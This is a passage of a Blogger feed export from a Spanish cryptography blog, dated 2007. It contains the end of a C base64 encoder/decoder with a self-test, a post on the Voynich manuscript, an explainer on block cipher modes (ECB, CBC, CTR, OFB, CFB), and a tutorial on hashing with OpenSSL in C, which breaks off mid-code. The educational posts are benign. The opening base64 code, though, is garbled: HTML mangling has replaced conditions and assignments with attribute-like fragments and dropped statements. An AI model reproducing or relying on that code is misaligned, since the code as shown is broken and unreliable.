4 )) &amp;amp;amp;amp;amp;amp;amp; 0x3F];&lt;br /&gt;  *p++ = ((i + 1) &lt; dlen =" p" p =" 0" i =" j" n =" 0;"&gt;= 2 &amp;&amp;amp;&lt;br /&gt;      src[i] == '\r' &amp;&amp;amp; src[i + 1] == '\n' )&lt;br /&gt;      continue;&lt;br /&gt;&lt;br /&gt;  if( src[i] == '\n' )&lt;br /&gt;      continue;&lt;br /&gt;&lt;br /&gt;  if( src[i] == '=' &amp;&amp;amp; ++j &gt; 2 )&lt;br /&gt;      return( ERR_BASE64_INVALID_CHARACTER );&lt;br /&gt;&lt;br /&gt;  if( src[i] &gt; 127 || base64_dec_map[src[i]] == 127 )&lt;br /&gt;      return( ERR_BASE64_INVALID_CHARACTER );&lt;br /&gt;&lt;br /&gt;  if( base64_dec_map[src[i]] &lt; n ="=" n =" ("&gt;&gt; 3;&lt;br /&gt;&lt;br /&gt;if( *dlen &lt; dlen =" n;" j =" 3," n =" x" p =" dst;"&gt; 0; i--, src++ )&lt;br /&gt;{&lt;br /&gt;  if( *src == '\r' || *src == '\n' )&lt;br /&gt;      continue;&lt;br /&gt;&lt;br /&gt;  j -= ( base64_dec_map[*src] == 64 );&lt;br /&gt;  x  = ( x &lt;&lt; n ="=" n =" 0;"&gt;&gt; 16 );&lt;br /&gt;      if( j &gt; 1 ) *p++ = (unsigned char) ( x &gt;&gt; 8 );&lt;br /&gt;      if( j &gt; 2 ) *p++ = (unsigned char )  x;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;*dlen = p - dst;&lt;br /&gt;&lt;br /&gt;return( 0 );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static const char _base64_src[] = "_base64_src";&lt;br /&gt;&lt;br /&gt;#if defined(SELF_TEST)&lt;br /&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;static const unsigned char base64_test_dec[64] =&lt;br /&gt;{&lt;br /&gt;0x24, 0x48, 0x6E, 0x56, 0x87, 0x62, 0x5A, 0xBD,&lt;br /&gt;0xBF, 0x17, 0xD9, 0xA2, 0xC4, 0x17, 0x1A, 0x01,&lt;br /&gt;0x94, 0xED, 0x8F, 0x1E, 0x11, 0xB3, 0xD7, 0x09,&lt;br /&gt;0x0C, 0xB6, 0xE9, 0x10, 0x6F, 0x22, 0xEE, 0x13,&lt;br /&gt;0xCA, 0xB3, 0x07, 0x05, 0x76, 0xC9, 0xFA, 0x31,&lt;br /&gt;0x6C, 0x08, 0x34, 0xFF, 0x8D, 0xC2, 0x6C, 0x38,&lt;br /&gt;0x00, 0x43, 0xE9, 0x54, 0x97, 0xAF, 0x50, 0x4B,&lt;br /&gt;0xD1, 0x41, 0xBA, 0x95, 0x31, 0x5A, 0x0B, 0x97&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned char base64_test_enc[] =&lt;br /&gt;"JEhuVodiWr2/F9mixBcaAZTtjx4Rs9cJDLbpEG8i7hPK"&lt;br /&gt;"swcFdsn6MWwINP+Nwmw4AEPpVJevUEvRQbqVMVoLlw==";&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;* Checkup routine&lt;br /&gt;*/&lt;br /&gt;int base64_self_test( int verbose )&lt;br /&gt;{&lt;br /&gt;int len;&lt;br /&gt;unsigned char *src, buffer[128];&lt;br /&gt;&lt;br /&gt;if( verbose != 0 )&lt;br /&gt;  printf( "  Base64 encoding test: " );&lt;br /&gt;&lt;br /&gt;len = sizeof( buffer );&lt;br /&gt;src = (unsigned char *) base64_test_dec;&lt;br /&gt;&lt;br /&gt;if( base64_encode( buffer, &amp;len, src, 64 ) != 0 ||&lt;br /&gt;  memcmp( base64_test_enc,  buffer, 88 ) != 0 )&lt;br /&gt;{&lt;br /&gt;  if( verbose != 0 )&lt;br /&gt;      printf( "failed\n" );&lt;br /&gt;&lt;br /&gt;  return( 1 );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if( verbose != 0 )&lt;br /&gt;  printf( "passed\n  Base64 decoding test: " );&lt;br /&gt;&lt;br /&gt;len = sizeof( buffer );&lt;br /&gt;src = (unsigned char *) base64_test_enc;&lt;br /&gt;&lt;br /&gt;if( base64_decode( buffer, &amp;len, src, 88 ) != 0 ||&lt;br /&gt;  memcmp( base64_test_dec,  buffer, 64 ) != 0 )&lt;br /&gt;{&lt;br /&gt;  if( verbose != 0 )&lt;br /&gt;      printf( "failed\n" );&lt;br /&gt;&lt;br /&gt;  return( 1 );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if( verbose != 0 )&lt;br /&gt;  printf( "passed\n\n" );&lt;br /&gt;&lt;br /&gt;return( 0 );&lt;br /&gt;}&lt;br /&gt;#else&lt;br /&gt;int base64_self_test( int verbose )&lt;br /&gt;{&lt;br /&gt;return( 0 );&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#endif /* base64.h */&lt;/stdio.h&gt;&lt;/string.h&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre&gt;&lt;string.h&gt;&lt;stdio.h&gt;&lt;br /&gt;&lt;/stdio.h&gt;&lt;/string.h&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://es.wikipedia.org/wiki/Base64"&gt;http://es.wikipedia.org/wiki/Base64&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://xyssl.org/code/source/base64"&gt;http://xyssl.org/code/source/base64&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://www.openssl.org/"&gt;OpenSSL&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-8248372891627800500?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/8248372891627800500/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=8248372891627800500' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8248372891627800500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8248372891627800500'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/07/codificacin-base-64.html' title='Codificación Base 64'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_q551Ajwo8ak/RqnXpMIS9CI/AAAAAAAAACU/l9uanRVkQKQ/s72-c/Base64.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5047941511709305249</id><published>2007-07-28T06:46:00.000-07:00</published><updated>2008-12-04T01:28:25.829-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enigmas'/><title type='text'>El manuscrito Voynich</title><content type='html'>&lt;div align="justify"&gt; El manuscrito Voynich es un libro ilustrado escrito, en un lenguaje incomprensible, hace más de 500 años. El nombre de dicho manuscrito proviene de &lt;a href="http://en.wikipedia.org/wiki/Wilfrid_M._Voynich"&gt;Wilfrid M. Voynich&lt;/a&gt;, quien lo adquirió en 1912. Aunque ha sido objeto de estudio  demuchos criptógrafos, nadie ha podido descifrar absolutamente nada. Existe la teoría de que el manuscrito Voynich no es más que un fraude, pero aun así, sigue siendo uno de los enigmas sin resolver más conocidos de la criptografía.&lt;br /&gt;&lt;/div&gt;&lt;center&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_q551Ajwo8ak/RqSyL8IS9AI/AAAAAAAAACE/sU4WVLwFuHY/s1600-h/Voynich.jpg"&gt;&lt;img src="http://bp3.blogger.com/_q551Ajwo8ak/RqSyL8IS9AI/AAAAAAAAACE/sU4WVLwFuHY/s320/Voynich.jpg" alt="" id="BLOGGER_PHOTO_ID_5090389397024732162" border="0" /&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.voynich.net/images.html"&gt;Images from the Voynich Manuscript&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;Se han realizado análisis del texto que muestran patrones similares a las de los lenguajes conocidos. Por ejemplo, la entropía es similar a la de lenguas como el latín o el inglés. Algunas palabras aparecen solo en ciertas secciones, mientras que otras aparecen repetidas una y otra vez a lo largo de todo el manuscrito. Sin embargo existen algunos aspectos del texto que lo hacen diferenciarse de los lenguajes europeos, como por ejemplo, el número de letras de longitud de las palabras. En cualquier caso, si se trata de un montaje, sin duda es un trabajo meticuloso.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Referencias:&lt;br /&gt;- &lt;a href="http://es.wikipedia.org/wiki/Manuscrito_Voynich"&gt;http://es.wikipedia.org/wiki/Manuscrito_Voynich&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://manuscritovoynich.blogspot.com/"&gt;http://manuscritovoynich.blogspot.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5047941511709305249?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5047941511709305249/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5047941511709305249' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5047941511709305249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5047941511709305249'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/07/el-manuscrito-voynich.html' title='El manuscrito Voynich'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_q551Ajwo8ak/RqSyL8IS9AI/AAAAAAAAACE/sU4WVLwFuHY/s72-c/Voynich.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-7782872379102127181</id><published>2007-07-22T09:06:00.000-07:00</published><updated>2008-12-04T01:28:25.855-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptografía'/><title type='text'>Modos de cifrado: ECB, CBC, CTR, OFB y CFB.</title><content type='html'>&lt;div style="text-align: justify;"&gt;Los algoritmos de cifrado de bloque como DES o AES separan el mensaje en pedazos de tamaño fijo, por ejemplo de 64 o 128 bits. La forma en que se gestionan estos pedazos o bloques de mensaje, se denomina "modo de cifrado". Existen muchos modos de cifrado diferentes, a continuación hablaremos de los más importantes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ECB - Electronic Code Book Mode:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;ECB ha sido estandarizado por el NIST (U.S. National Institute for Standards and Technology). Este modo de cifrado es el más simple de todos, pues se limita a partir el mensaje en bloques y cifrarlos por separado.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_q551Ajwo8ak/RqDjRCHStZI/AAAAAAAAAAs/4ymyk3hVuec/s1600-h/Ecb_encryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_q551Ajwo8ak/RqDjRCHStZI/AAAAAAAAAAs/4ymyk3hVuec/s320/Ecb_encryption.png" alt="" id="BLOGGER_PHOTO_ID_5089317460693398930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_q551Ajwo8ak/RqDkZSHStbI/AAAAAAAAAA8/DU3GeX8kiGo/s1600-h/Ecb_decryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_q551Ajwo8ak/RqDkZSHStbI/AAAAAAAAAA8/DU3GeX8kiGo/s320/Ecb_decryption.png" alt="" id="BLOGGER_PHOTO_ID_5089318701938947506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Entre las ventajas de este método destaca la posibilidad de romper el mensaje en bloques y cifrarlos en paralelo o el acceso aleatorio a diferentes bloques.&lt;br /&gt;&lt;br /&gt;Sin embargo, las desventajas de este modo de cifrado son enormes, por lo que se usa cada vez menos. El hecho de cifrar los bloques por separado implica que cuando se cifre un bloque con cierto valor, siempre se obtendra el mismo resultado. Esto hace posible los ataques de diccionario.&lt;br /&gt;Además, cuando se cifran varios bloques y se envían por un canal inseguro, es posible que un adversario elimine ciertos bloques sin ser detectado, o que capture algunos bloques y los reenvíe más adelante.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;CBC - Cipher Block Chaining Mode:&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;CBC ha sido estandarizado por el NIST (U.S. National Institute for Standards and Technology). Este modo de cifrado &lt;span&gt;es una extensión de ECB que añade cierta seguridad. El modo de cifrado CBC divide el mensaje en bloques y usa XOR para combinar el cifrado del bloque anterior con el texto plano del bloque actual. Como no se dispone de un texto cifrado con el que combinar el primer bloque, se usa un vector de inicialización IV (número aleatorio que puede ser publicamente conocido). El uso del vector de inicialización es importante, pues de no usarlo, podría ser susceptible de ataques de diccionario. También es necesario que el IV sea aleatorio y no un número secuencial o predecible. &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_q551Ajwo8ak/RqDoHiHStcI/AAAAAAAAABE/JKMZ4-uFnlU/s1600-h/Cbc_encryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_q551Ajwo8ak/RqDoHiHStcI/AAAAAAAAABE/JKMZ4-uFnlU/s320/Cbc_encryption.png" alt="" id="BLOGGER_PHOTO_ID_5089322795042780610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Para descifrar el mensaje usaremos el mismo procedimiento a la inversa:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_q551Ajwo8ak/RqDoMSHStdI/AAAAAAAAABM/_l-v2f3Ryio/s1600-h/Cbc_decryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_q551Ajwo8ak/RqDoMSHStdI/AAAAAAAAABM/_l-v2f3Ryio/s320/Cbc_decryption.png" alt="" id="BLOGGER_PHOTO_ID_5089322876647159250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Entre las desventajas de este modo de cifrado destaca la necesidad de realizar el cifrado de forma secuencial (no puede ser paralelizado). Tambien hay que tener en cuenta la posibilidad de realizar ataques de reenvío de un mensaje entero (o parcial).&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;CTR - Counter Mode:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mientras que ECB y CBC son modos basados en bloques, CTR simula un cifrado de flujo. Es decir, se usa un cifrado de bloque para producir un flujo pseudo aleatorio conocido como keystream. Este flujo se combina con el texto plano mediante XOR dando lugar al cifrado.&lt;br /&gt;Para generar el keystream se cifra un contador combinado con un número aleatorio (nonce) mediante ECB y se va incrementando. El valor del contador puede ser públicamente conocido, aunque es preferible guardarlo en secreto. Es necesario que el valor de nonce+contador lo conozcan ambos lados de la comunicación.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_q551Ajwo8ak/RqDspiHStfI/AAAAAAAAABc/rM3p2PXrDxI/s1600-h/Ctr_encryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_q551Ajwo8ak/RqDspiHStfI/AAAAAAAAABc/rM3p2PXrDxI/s320/Ctr_encryption.png" alt="" id="BLOGGER_PHOTO_ID_5089327777204844018" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_q551Ajwo8ak/RqDsjyHSteI/AAAAAAAAABU/o3tNt3sjEJg/s1600-h/Ctr_decryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_q551Ajwo8ak/RqDsjyHSteI/AAAAAAAAABU/o3tNt3sjEJg/s320/Ctr_decryption.png" alt="" id="BLOGGER_PHOTO_ID_5089327678420596194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Entre las ventajas de CTR destaca la posibilidad de precalcular el keystream (y/o trabajar en paralelo), el acceso aleatorio al keystream o que revela poquísima información sobre la clave.&lt;br /&gt;&lt;br /&gt;Como desventajas hay que tener en cuenta que reutilizar un contador en la misma clave puede ser desastroso, pues se generará de nuevo el mismo keystream.&lt;br /&gt;Modificar bits en el texto plano es muy sencillo, pues modificando un bit del cifrado se modificará el bit del texto plano correspondiente (Bit-flipping attacks). Por lo que es adecuado usar este modo de cifrado junto con una verificación de la integridad del mensaje.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;OFB - Output Feedback Mode:&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;OFB ha sido estandarizado por el NIST (U.S. National Institute for Standards and Technology). Como CTR es otro cifrado de flujo. En este caso el keystream se genera cifrando el bloque anterior del keystream, dando lugar al siguiente bloque. El primer bloque de keystream se crea cifrando un vector de inicialización IV.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_q551Ajwo8ak/RqD1WyHSthI/AAAAAAAAABs/jyfuHPkQlA8/s1600-h/Ofb_encryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_q551Ajwo8ak/RqD1WyHSthI/AAAAAAAAABs/jyfuHPkQlA8/s320/Ofb_encryption.png" alt="" id="BLOGGER_PHOTO_ID_5089337350686946834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_q551Ajwo8ak/RqD1RiHStgI/AAAAAAAAABk/OHHo_Um-39U/s1600-h/Ofb_decryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_q551Ajwo8ak/RqD1RiHStgI/AAAAAAAAABk/OHHo_Um-39U/s320/Ofb_decryption.png" alt="" id="BLOGGER_PHOTO_ID_5089337260492633602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;OFB comparte muchas de las características de CTR, pero CTR tiene beneficios adicionales, por lo que OFB se usa bastante poco.&lt;br /&gt;En OFB se pueden precalcular los keystream (aunque no se puede realizar en paralelo) y a diferencia de CTR no da problemas al ser usado con cifrados de bloque de 64 bits. Además, como en el caso de CTR, revela muy poca información sobre la clave.&lt;br /&gt;&lt;br /&gt;Tambien comparte con CTR sus desventajas: r&lt;/span&gt;eutilizar un contador en la misma clave puede ser desastroso y permite Bit-flipping attacks.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;CFB - Cipher Feedback Mode:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;CFB ha sido estandarizado por el NIST (U.S. National Institute for Standards and Technology) y es muy similar a OFB. Para producir el keystream cifra el último bloque de cifrado, en lugar del último bloque del keystrema como hace OFB.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_q551Ajwo8ak/RqD1gSHStjI/AAAAAAAAAB8/eIbJh6Ay-XA/s1600-h/Cfb_encryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_q551Ajwo8ak/RqD1gSHStjI/AAAAAAAAAB8/eIbJh6Ay-XA/s320/Cfb_encryption.png" alt="" id="BLOGGER_PHOTO_ID_5089337513895704114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_q551Ajwo8ak/RqD1cCHStiI/AAAAAAAAAB0/16J1KAWYZ7g/s1600-h/Cfb_decryption.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_q551Ajwo8ak/RqD1cCHStiI/AAAAAAAAAB0/16J1KAWYZ7g/s320/Cfb_decryption.png" alt="" id="BLOGGER_PHOTO_ID_5089337440881260066" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span&gt;Como en OFB r&lt;/span&gt;eutilizar un contador en la misma clave puede ser desastroso y permite Bit-flipping attacks. En CFB el cifrado no puede ser paralelizado, pero el descifrado si.&lt;br /&gt;Igual que en el caso anterior, es preferible usar CTR.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;u&gt;Referencias:&lt;/u&gt;&lt;br /&gt;- Block cipher modes of operation - &lt;a href="http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation"&gt;Wikipedia&lt;/a&gt;.&lt;br /&gt;- Secure Programming Cookbook, Ed O'Reilly. Viega, Messier.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-7782872379102127181?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/7782872379102127181/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=7782872379102127181' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7782872379102127181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7782872379102127181'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/07/modos-de-cifrado-ecb-cbc-ctr-ofb-y-cfb.html' title='Modos de cifrado: ECB, CBC, CTR, OFB y CFB.'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_q551Ajwo8ak/RqDjRCHStZI/AAAAAAAAAAs/4ymyk3hVuec/s72-c/Ecb_encryption.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-8057904476008997057</id><published>2007-07-21T04:43:00.000-07:00</published><updated>2008-12-04T01:28:25.110-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptografía'/><title type='text'>Hash mediante C y OpenSSL</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;a href="http://www.openssl.org/"&gt;OpenSSL&lt;/a&gt; es una conocida librería que implementa ciertos algoritmos usados en criptografía. Aunque su nombre pareza indicar lo contrario, no es una librería usada únicamente para desarrollar canales SSL, pero esta es una de sus principales funciones. A continuación veremos como usar OpenSSL para implementar algoritmos de hash.&lt;br /&gt;&lt;br /&gt;OpenSSL proporciona también un binario que permite usar criptografía desde la linea de comandos. Como el caso que nos ocupa son los algoritmos de hash, veamos primero como usar openssl para tal propósito.&lt;br /&gt;&lt;br /&gt;Primero crearemos un fichero de ejemplo y calcularemos su hash con el algoritmo MD5:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ echo test &amp;gt; test.txt&lt;br /&gt;$ openssl md5 test.txt&lt;br /&gt;MD5(test.txt)= d8e8fca2dc0f896fd7cb4cb0031ba249&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Para usar cualquier otro algoritmo de hash (siempre que sea soportado por OpenSSL) usaremos el mismo método. Por ejemplo, para SHA1:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;openssl sha1 test.txt&lt;br /&gt;SHA1(test.txt)= 4e1243bd22c66e76c2ba9eddc1f91394e57f9f83&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Para usar las funciones de hash de OpenSSL desde el lenguaje C, necesitaremos incluir la cabecera "openssl/evp.h" en nuestras fuentes y llamar a la función OpenSSL_add_all_digests(). A continuación usaremos EVP_get_digestbyname() para obtener el algoritmo de hash que queremos utilizar: md5, sha1, etc. Finalmente, las funciones EVP_DigestInit(), EVP_DigestUpdate() y EVP_DigestFinal() nos permitirán calcular el hash.&lt;br /&gt;&lt;br /&gt;Ejemplo:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;unsigned char *simple_digest(char *alg, char *buffer, &lt;br /&gt;                             unsigned int len, int *olen)&lt;br /&gt;{&lt;br /&gt;   EVP_MD *m;&lt;br /&gt;   EVP_MD_CTX ctx;&lt;br /&gt;   unsigned char *ret;&lt;br /&gt;                                                                                &lt;br /&gt;   OpenSSL_add_all_digests ();&lt;br /&gt;   if (!(m = (EVP_MD*) EVP_get_digestbyname(alg)))&lt;br /&gt;      return NULL;&lt;br /&gt;&lt;br /&gt;   if (!(ret = (unsigned char *) malloc(EVP_MAX_MD_SIZE)))&lt;br /&gt;      return NULL;&lt;br /&gt;&lt;br /&gt;   EVP_DigestInit(&amp;ctx, m);&lt;br /&gt;   EVP_DigestUpdate(&amp;ctx, buffer, len);&lt;br /&gt;   EVP_DigestFinal(&amp;ctx, ret, olen);&lt;br /&gt;&lt;br /&gt;   return ret;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;La función simple_digest() permite calcular el hash de una cadena pasada como parámetro "buffer" mediante el algoritmo "alg". Pero en el ejemplo anterior en el que usábamos la herramienta openssl, calculábamos el hash de un fichero entero. Para hacerlo, necesitaremos abrir el fichero,   ponerlo en un buffer en memoria y llamar a simple_digest(). A continuación pongo un ejemplo completo:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;openssl/evp.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define READSIZE 1024&lt;br /&gt;&lt;br /&gt;unsigned char *&lt;br /&gt;simple_digest(char *alg, unsigned char *buffer, size_t len, size_t * olen)&lt;br /&gt;{&lt;br /&gt;   EVP_MD *m;&lt;br /&gt;   EVP_MD_CTX ctx;&lt;br /&gt;   unsigned char *ret;&lt;br /&gt;&lt;br /&gt;   OpenSSL_add_all_digests();&lt;br /&gt;   if(!(m = (EVP_MD *) EVP_get_digestbyname(alg)))&lt;br /&gt;      return NULL;&lt;br /&gt;&lt;br /&gt;   if(!(ret = (unsigned char 